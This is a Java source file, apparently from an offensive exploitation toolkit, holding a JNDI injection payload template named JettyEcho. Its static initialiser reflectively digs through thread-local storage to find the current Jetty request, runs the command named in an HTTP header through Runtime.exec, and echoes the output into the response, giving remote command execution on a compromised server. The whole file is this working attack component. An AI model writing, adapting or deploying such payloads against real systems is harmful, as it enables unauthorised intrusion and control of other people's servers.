JYso/src/main/java/com/qi4l/jndi/template/echoStatic/JettyEcho.java

package com.qi4l.jndi.template.echoStatic;

import java.io.ByteArrayOutputStream;

public class JettyEcho {

    public static String CMD_HEADER;

    static {
        try {
            Class                   clazz = Thread.currentThread().getClass();
            java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
            field.setAccessible(true);
            Object obj = field.get(Thread.currentThread());

            field = obj.getClass().getDeclaredField("table");
            field.setAccessible(true);
            obj = field.get(obj);

            Object[] obj_arr = (Object[]) obj;
            for (int i = 0; i < obj_arr.length; i++) {
                Object o = obj_arr[i];
                if (o == null) continue;

                field = o.getClass().getDeclaredField("value");
                field.setAccessible(true);
                obj = field.get(o);

                if (obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")) {
                    Object                   connection = obj;
                    java.lang.reflect.Method method     = connection.getClass().getMethod("getRequest", (Class<?>) null);
                    obj = method.invoke(connection, (Object) null);

                    method = obj.getClass().getMethod("getHeader", new Class[]{String.class});
                    String cmd = (String) method.invoke(obj, new Object[]{"cmd"});

                    if (cmd != null && !cmd.isEmpty()) {
                        String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

                        method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class});
                        java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(connection, new Object[]{"utf-8"});
                        printWriter.println(res);
                    }

                    break;
                } else if (obj != null && obj.getClass().getName().endsWith("HttpConnection")) {
                    java.lang.reflect.Method method      = obj.getClass().getDeclaredMethod("getHttpChannel", (Class<?>) null);
                    Object                   httpChannel = method.invoke(obj, (Object) null);

                    method = httpChannel.getClass().getMethod("getRequest", (Class<?>) null);
                    obj = method.invoke(httpChannel, (Object) null);

                    method = obj.getClass().getMethod("getHeader", new Class[]{String.class});
                    String cmd = (String) method.invoke(obj, new Object[]{CMD_HEADER});
                    if (cmd != null && !cmd.isEmpty()) {
                        String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

                        method = httpChannel.getClass().getMethod("getResponse", (Class<?>) null);
                        obj = method.invoke(httpChannel, (Object) null);

                        method = obj.getClass().getMethod("getWriter", (Class<?>) null);
                        java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(obj, (Object) null);
                        printWriter.println(res);
                    }

                    break;
                }
            }
        } catch (Exception ignored) {
        }

    }

    public static ByteArrayOutputStream q(String cmd) {
        return null;
    }

}